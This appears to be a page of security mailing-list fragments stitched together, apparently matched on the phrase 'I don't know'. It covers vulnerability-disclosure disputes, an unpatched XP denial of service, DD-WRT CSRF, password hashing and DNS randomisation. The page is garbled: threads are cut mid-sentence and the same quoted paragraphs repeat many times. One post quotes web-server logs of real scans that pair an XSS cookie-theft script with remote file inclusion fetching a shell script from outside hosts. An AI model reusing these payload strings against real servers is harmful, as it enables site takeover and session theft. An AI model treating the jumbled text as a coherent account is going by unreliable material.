Next Page >>
I don't know
IMO, everybody in this thread is taking this from an
inside-to-outside approach, whereas a '0day' is the opposite.
If I'm on a CERT team for a corporation then I don't give a flying F
if somebody's concocted a cool exploit for a vulnerability that
hasn't been patched; and moreover, I don't know about it.
I only care if there's malicious code running around in the real
world doing damage that has no patch for the vulnerability. That's
when I have to take some action or be completely helpless and in my
mind that's the only time I consider a '0day' to have any relevance.
Since June 5th have you tried emailing back or any of your contacts from
past interactions and asked what was up? I'm disappointed in this lack
of communication I see on both sides. You are ...well... Tavis
Ormandy... I seriously doubt MSRC is blowing you off here.
Keep in mind we just had a LARGE patch week to deal with. I don't know
what was going on on their side, nor making excuses as I don't know what
communication you've had in the past and had on this issue ... I'm just
saying I would have spent a little more time getting mad at them and
sent a lot more emails back to them before posting this.
>> Since June 5th have you tried emailing back or any of your contacts from
>> past interactions and asked what was up? I'm disappointed in this lack
>> of communication I see on both sides. You are ...well... Tavis
>> Ormandy... I seriously doubt MSRC is blowing you off here.
>>
>> Keep in mind we just had a LARGE patch week to deal with. I don't know
>> what was going on on their side, nor making excuses as I don't know what
>> communication you've had in the past and had on this issue ... I'm just
>> saying I would have spent a little more time getting mad at them and
>> sent a lot more emails back to them before posting this.
>>
>>>> Since June 5th have you tried emailing back or any of your contacts from
>>>> past interactions and asked what was up? I'm disappointed in this lack
>>>> of communication I see on both sides. You are ...well... Tavis
>>>> Ormandy... I seriously doubt MSRC is blowing you off here.
>>>>
>>>> Keep in mind we just had a LARGE patch week to deal with. I don't know
>>>> what was going on on their side, nor making excuses as I don't know what
>>>> communication you've had in the past and had on this issue ... I'm just
>>>> saying I would have spent a little more time getting mad at them and
>>>> sent a lot more emails back to them before posting this.
>>>>
> >>Since June 5th have you tried emailing back or any of your contacts from
> >>past interactions and asked what was up? I'm disappointed in this lack
> >>of communication I see on both sides. You are ...well... Tavis
> >>Ormandy... I seriously doubt MSRC is blowing you off here.
> >>
> >>Keep in mind we just had a LARGE patch week to deal with. I don't know
> >>what was going on on their side, nor making excuses as I don't know what
> >>communication you've had in the past and had on this issue ... I'm just
> >>saying I would have spent a little more time getting mad at them and
> >>sent a lot more emails back to them before posting this.
> >>
Dear Peter Watkins,
PW> I don't know how small the salt universe would need to be before
PW> precomputing dictionaries would be worthwhile (vs. having a botnet only work
PW> on crypted passwords already captured), but certainly the obviously weak
PW> srand(time(NULL)) code only helps the black hats. And with modern OSes
PW> providing reasonably good entropy sources, there's little reason not to
PW> "do it right". It's not the worst mistake I've seen, by far not the most
PW> dangerous. But it's sloppy of the Apache Group to have ignored it for half
PW> a decade.
> Since June 5th have you tried emailing back or any of your contacts from
> past interactions and asked what was up? I'm disappointed in this lack
> of communication I see on both sides. You are ...well... Tavis
> Ormandy... I seriously doubt MSRC is blowing you off here.
>
> Keep in mind we just had a LARGE patch week to deal with. I don't know
> what was going on on their side, nor making excuses as I don't know what
> communication you've had in the past and had on this issue ... I'm just
> saying I would have spent a little more time getting mad at them and
> sent a lot more emails back to them before posting this.
>
> >
> > MS claims the patch would require to much overhaul of XP to make it
> > worth it, and they may be right. Who knows how many applications
> might
> > break that were designed for XP if they have to radically change the
> > TCP/IP stack. Now, I don't know if the MS speak is true, but it
> > certainly sounds like it is not going to be patched.
> >
> > The other side of the MS claim is that a properly-firewalled XP
> system
> > would not be vulnerable to a DOS anyway, so a patch shouldn't be
--------------------------------------------------------------
The first time I saw the so called OfficeScan's passwords was almost
two years ago and in short they are just MD5 hashes of the original
password plus an additional encryption, but I was never interested to
go deeper in the matter and I don't know if something has been changed
from that time.
I wrote something incomplete about them a lot of time ago in case
someone is curious or want to add something:
http://aluigi.org/pwdrec/officescan_pwdmd5.txt
I don't know the details of vulnerable version but smpwservices.fcc page was accessed directly in the tested version.
Exploit code was triggered like this:
[*] with the URL:
https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=X
I can view this javascript code in the result page:
> http://constitutionalcode.blogspot.com/2005/01/guillermito-reverse-engineering.html
>
> Good luck to our neighbours from Deutschland...
> I salute you!
I don't know of a good solution to stupid laws. My impulse is to
encourage security companies to boycott such governments. Don't sell (or
give) them products and services. (Tell them that you are afraid of
violating their laws. A valid concern.) Maybe they will get the hint
after the 42th successful hack/virus/whatever.
in most browsers when trying to access them via https asking us if we
want to continue. In an exploit scenario we can't use them.
* We will be able to modify our Full Name with chfn only if constant
CHFN_RESTRICT is set to "frwh" in /etc/login.defs. This is the default
config in Mandriva and Slackware but not in Debian which is set to
"rwh". I don't know about other distros.
* With XSS we could have also steal admin's cookie but it's most
likely that NoScript will block that attack. The reason why NS can't
block this one is because is not exactly a typical cross-domain XSS.
This is HTML injection or permanent XSS.
wrote: -----
>>What can you achieve with script injection you can not achieve
>>with SNMP write access?
lercg> I don't know what you can actually achieve, but in addition to
whatever you
lercg> can do to/with the box you have SNMP write access for, it gives
you a shot
lercg> at the admin's machine. And maybe even a shot at everything
that the
> >>>
> >> might
> >>
> >>> break that were designed for XP if they have to radically change
> the
> >>> TCP/IP stack. Now, I don't know if the MS speak is true, but it
> >>> certainly sounds like it is not going to be patched.
> >>>
> >>> The other side of the MS claim is that a properly-firewalled XP
> >>>
> >> system
> hes_for_you_XP
>
> MS claims the patch would require to much overhaul of XP to make it
> worth it, and they may be right. Who knows how many applications might
> break that were designed for XP if they have to radically change the
> TCP/IP stack. Now, I don't know if the MS speak is true, but it
> certainly sounds like it is not going to be patched.
>
> The other side of the MS claim is that a properly-firewalled XP system
> would not be vulnerable to a DOS anyway, so a patch shouldn't be
> necessary.
In my old notes, I found that at least these plugins have this problem:
* Nullsoft mIRC Control Plug-in v0.6 (gen_mirc.dll) and other versions
* mIRC Control EX Plug-In V 2.00 (gen_ircex.dll) and other versions
* mIRCPlug v1.0,1.2 (gen_mircplug.dll)
Those are all old plugins. I don't know if they're still used a lot, or what
the currently popular plugins for this are, and if they're vulnerable or not.
On Wednesday 15 August 2007 19:34, Michael Tharp wrote:
> This is probably a bigger concern for *nix scripts, especially of the
> homebrew variety
> now by calling Sun and then powering the whole machine down" and
> "accept that the crashed domain is down until you call Sun and power
> the whole machine down". How is that not a denial of service? Do you
> work for Sun?
>
> If that is not a denial of service, I don't know what is.
Firstly, I don't work for Sun.
I apologise if I'm misunderstanding you, but it seems to me that this
issue can only be initiated by a privileged user on a domain. The
If you can parse out XML, I'm sure you can script up something to "build" sets for IPTables. However, I don't know that IPTables has the ability to "group" the individual IP ranges into "sets" as opposed to simply putting them in as line-by-line rules.
That's the beauty of ISA/TMG/UAG - the xml files build individual sets comprised of IP ranges which you can apply by themselves to whatever protocols you wants to/from whatever network sources you want. But, regardless of the chosen platform, at least you can parse out the XML to get what you want.
The important fields are:
<fpc4:IPFrom dt:dt="string">66.227.2.137</fpc4:IPFrom>
<fpc4:IPTo dt:dt="string">66.227.2.144</fpc4:IPTo>
<fpc4:Name dt:dt="string">AL1122173577-1122173584</fpc4:Name>
Where IPFrom is the beginning IP of the range, IPTo is the ending IP of the range, and "Name" is a unique name for the range itself. I chose to have the same simply be the country code followed by the range so it could be immediately identified even if used outside of a set.
>>> worth it, and they may be right. Who knows how many applications
>>>
>> might
>>
>>> break that were designed for XP if they have to radically change the
>>> TCP/IP stack. Now, I don't know if the MS speak is true, but it
>>> certainly sounds like it is not going to be patched.
>>>
>>> The other side of the MS claim is that a properly-firewalled XP
>>>
>> system
> SimplePHPBlog
> Cross Site Request Forgeries
> Tested on v0.4.9
What's the purpose on reporting issues on old versions?
I don't know simplephpblog, but a quick look on their page tells me that
they've released a bunch of security related updates since 0.4.9. Their
current one is 0.5.1.
--
Hanno Böck Blog: http://www.hboeck.de/
"stages" (4 means "give up").
As already said in my advisory the exploitation happens in the passing
to the http protocol (that's why if you contact port 80 directly nothing
happens).
I don't know if exist better or easier ways to exploit this
vulnerability but in my opinion this one is already excellent.
Now instead we arrive to what leads to "your" problems.
If the connection times out Quicktime automatically considers the remote
host as unreacheable and will no longer continue the "protocol
Apologies, I understand where the flaw lies now. I thought you meant the XRSF was triggered from within the DD-WRT interface.
I don't know how much of an impact this will really have though, I suppose it would depend on how long login sessions last on DD-WRT and how often the user logs into their router.
Still, good find!
(I think that's the phenomenon you describe). BIND 9 has a mechanism
that ensures that collisions are discarded. OpenBSD retains history of
the last 32K (IIRC) numbers used, and does not re-use those numbers.
PowerDNS randomizes UDP source ports, so it considerably reduces
collision likelihood. I guess MS didn't implement any such mechanism (I
don't know for sure because I never reviewed their solution - I didn't
get a preview version from MS).
Thanks,
-Amit
>>>>
>>>>> break that were designed for XP if they have to radically change
>>>>>
>> the
>>
>>>>> TCP/IP stack. Now, I don't know if the MS speak is true, but it
>>>>> certainly sounds like it is not going to be patched.
>>>>>
>>>>> The other side of the MS claim is that a properly-firewalled XP
>>>>>
>>>>>
--------------------------------------------------------------
The first time I saw the so called OfficeScan's passwords was almost
two years ago and in short they are just MD5 hashes of the original
password plus an additional encryption, but I was never interested to
go deeper in the matter and I don't know if something has been changed
from that time.
I wrote something incomplete about them a lot of time ago in case
someone is curious or want to add something:
http://aluigi.org/pwdrec/officescan_pwdmd5.txt
Hi list,
I am seeing scans for this in the "wild" now... As Dominique said, I don't know who would open up their SIM to the world, but better apply the patch
soon.
222.239.78.91 - - [22/Feb/2008:17:24:48 -0300] "GET /wiki//ossim/session/login.php?dest=%22%3E%3Cscript%3Ealert(document.cookie)absolute_path=http://www.flagstaffsaloon.be/home/i? HTTP/1.1" 200 6792 "-" "cr4nk.ws/4.7 [de] (Windows 3.1; I) [crank]"
195.189.85.162 - - [23/Feb/2008:12:04:55 -0300] "GET /wiki/index.php//ossim/session/login.php?dest=%22%3E%3Cscript%3Ealert(document.cookie)absolute_path=http://www.flagstaffsaloon.be/home/i? HTTP/1.1" 200 6605 "-" "cr4nk.ws/4.7 [de] (Windows 3.1; I) [crank]"
61.19.38.155 - - [23/Feb/2008:14:07:28 -0300] "GET //ossim/session/login.php?dest=%22%3E%3Cscript%3Ealert(document.cookie)absolute_path=http://h1.ripway.com/durhaka/cmdasca.txt????? HTTP/1.1" 200 6891 "-" "libwww-perl/5.803"
now by calling Sun and then powering the whole machine down" and
"accept that the crashed domain is down until you call Sun and power
the whole machine down". How is that not a denial of service? Do you
work for Sun?
If that is not a denial of service, I don't know what is.
> You don't state what privileges are required on the affected domain to
> initiate the fault.
This was very obvious from the advisory.
Hi Susan,
> Read the bulletin. There's no patch. It is deemed by Microsoft to be of
> low impact and thus no patch has been built.
I don't know how I missed that XP/SP2 and above were not being
patched. It appears that my two references are worhtless... I used to
use them in position papers!
* http://support.microsoft.com/gp/lifepolicy
* http://support.microsoft.com/gp/lifeselect
> as additional information. this is no dd-wrt specific issue. all
> other firmware like openwrt etc. would suffer from it too.
Even if this were true, that wouldn't make this less of a flaw.
Rooting your router through CSRF is pretty bad. Linksys has supposedly
fixed theirs, but I don't know how well. Other firmwares do have CSRF
problems, but they don't have the same entertainment value of DD-WRT's
httpd.c (I like line 963).
> So what is the expected running time of your algorithm? For example,
> how long it will take on average to factor a 1024-bit modulus?
I don't know because I have to know the average biggest totient
divisor of a 1024-bit modulus.
> >
> > - Repeat "a = a^n mod m" with n from 2 to m, saving all the results in
> > a table until a == 1 (Statement 4).
>
Next Page>>
|
